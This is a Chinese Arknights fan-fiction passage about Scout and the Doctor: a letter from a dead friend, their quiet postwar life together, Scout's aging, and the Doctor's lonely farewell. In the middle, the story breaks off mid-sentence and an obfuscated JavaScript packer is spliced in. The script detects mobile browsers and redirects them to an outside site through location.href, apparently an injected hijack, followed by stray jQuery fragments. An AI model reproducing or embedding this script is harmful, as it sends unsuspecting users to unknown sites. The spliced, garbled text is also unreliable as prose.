与其说是联络用的信件,不如说是一份不期望收到回信的正式告别,发黄的纸张与邮戳上的标记证明,这封信在路途中迷失了,但又兜兜转转最终回到收信人的手中,完成了它的使命。 不需要任何名字与标记,博士认出来这个清秀的字迹属于谁,他与Scout的共同好友,一位温柔腼腆的萨卡兹,他在信里模糊了地点与人名,遣词造句带有一贯的诗意,除了对于巴别塔未来的担忧,还有为他们新生的祝福。 博士突然想起来了什么,他重新掏出终端,点进卡兹戴尔官方公布的阵亡名单,在无数陌生与熟悉的名字当中,他找到了那个人。 博士一时说不上来自己的心情,空落落的悲伤攥住了他,时空错位的信件像一个美妙的巧合,向他揭示了战争残酷的一角。 Scout同样在这份长长的阵亡名单前沉默了,他抱住博士,与他共同承担此刻的悲伤与静默。 战争悄无声息结束了,泰拉迎来了战后新一轮的高速发展,军用科技迭代发展到民间。Scout按照新的法律办理了枪支证件,在当地的旅游项目中找了个职位,带领外地游客在森林靶场里体验真实的枪械,也算没有荒废老本行。博士带出了好几个考进哥伦比亚大学医学院的学生,他们假期返乡时总会到博士这里来坐坐。 Scout的老式狙击枪依旧摆在客厅里,锁在玻璃柜里展示,每当有客人好奇问起时,Scout都会不厌其烦说起当年的故事,虽然抹去了一些细节,但他怎样单枪匹库兰塔从战场上救回博士的故事依旧足以满足客人的期待,博士会在旁边微笑着,补充一些更加不可思议的细节。战争离这群战后成长起来的一代很遥远,他们仅仅知道Scout是从卡兹戴尔战场里活下来的老兵,而他们敬爱的老师是他在战火中相识相知的爱人。 有人建议Scout出一本自传,他在卡兹戴尔期间的经历精彩得完全可以拍电影的程度,但Scout拒绝了,他不仅不想让自己和博士变得瞩目,而且出于私心,他不想与他人分享这一段独属于他们两人之间的经历。至于那些在他们身边来来往往、听故事的人怎么记录就和他没有关系了,博士也不会在意。 Scout带着博士去镇上的第一家新式照相馆拍了一些纪念照,照片上的萨卡兹已经不再年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452613|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻,皱纹悄然爬上了这张脸,只露出一双眼睛的博士在镜头前笑得开心。如果博士露出整张脸,就会很容易发现他们逐渐渐行渐远的年龄差距这一现实。 但Scout并不介意,他的爱人一如他刚认识时的模样,沉静的深灰色眼睛看得Scout心跳漏跳了一拍,如果不是因为旁边站着的特蕾西娅,Scout几乎都要以为是他从未到访过的拉特兰来的修士。 “以后由Scout负责你的安全,博士,他是个很可爱的年轻人。” 博士好奇的目光扫过,他朝Scout伸出了手,黑色的手套与袖口之间露出的那一小截手腕白皙纤细,萨卡兹近乎惶恐地接住,张口险些磕巴。 “你、您好,博士,叫我Scout就好。” “Scout是你的代号吧,你的名字呢?” “我是Scout,只是Scout,自从加入巴别塔以来我一直用的新名字。” “好吧,Scout。特蕾西娅应该已经介绍过我了,你可以叫我博士。” 温和的声音像水流一样流进萨卡兹的心里。 他是个普通的、再平凡不过的萨卡兹,却得到魔王的赏识,有幸来到博士身边,他不后悔为博士做的一切,即使被拒绝过一次,他也没有放弃为博士寻求其他的可能。当机会出现在眼前时,Scout果断抓住了它。时至今日,他也仍然庆幸自己当初做出的选择,让博士不再停留在巴别塔,不再被迫成为战争的帮凶,不再深夜时刻用他看不懂的表情凝望月亮。 Scout如墨水般漆黑的短发中出现了第一缕白发。萨卡兹笑着调侃道,这样以后他跟博士都是一样的发色了,他剪下那缕头发跟博士的一起打了个结。但博士的笑容在背对着他的时候消失了。 年轻时在战场上受过的伤,像终有一天会追上自己的欠账,即使有博士精心的治疗,依旧会在阴雨天一阵一阵的疼,最难受的时候只能浑身无力躺在床上,冷汗一阵一阵往下流,打湿了被子和床单。不知道从什么时候开始,已经逐渐换成博士来照顾他。博士清楚自己孱弱的体能,特意买了一台机械小车帮忙照顾行动不便的Scout。 矿石病进程在离开卡兹戴尔以后几乎停滞,Scout清楚自己已经比绝大部分佣兵活得要久,他的前同事们往往活不到身体机能开始衰退的时候,也完全没有考虑过退休以后做点什么,他们像一次性的薪柴,投入了卡兹戴尔前进的熊熊燃烧的火焰中。 Scout翻了个身,把闭着眼睛的博士抱进怀里,没有睡着的人类睁开眼睛看着他,话语里还带着黏糊的鼻音:“Scout?” “我记得你曾经说过你是星星的孩子。”因为年龄增大,Scout眼里的玻璃体已经浑浊,不像年轻时那样清亮,但在源石技艺的加持下,他依旧可以看清博士脸上每一个细微之处,从被泪水沾湿的睫毛到嘴唇上的细纹,“在我离开以后,你会回到星星上吗?” 博士皱起了眉,露出略微苦恼的神色,即使已经互相陪伴多年,连每一根发梢都熟悉无比,这样的表情Scout依旧怎么看怎么觉得可爱,“怎么这么问?那只是个比喻,即使我想回到星星上我也回不去,更何况我怎么会舍得留下你。” “你可以带我一起离开。”萨卡兹的手指钻进人类柔软的发丝中,“这是我唯一的心愿。” “……好,我答应你,现在可以睡觉了吗?”博士打个哈欠往Scout的胸口靠过去。 Scout轻笑的震动从胸口传递过来,他亲了亲人类的发顶。 “我很幸福,博士,谢谢你。” 百年后,重连的天堂支点再一次轰开阻隔层,第一艘泰拉的飞船冲破阻隔层的空洞前往宇宙,燃烧的尾焰像流星一样划过天际。博士握紧手中的戒指,源石粉尘混合在金属中闪闪发亮。 奇迹没有发生。 熟悉的静谧笼罩了整片大地,他再次行走于泰拉之上,但除了退回海底修养的海嗣们以外,文明的火花再一次销声匿迹,陪伴他的又一次只剩下了源石。 他低头亲吻手中的戒指。 “再见。”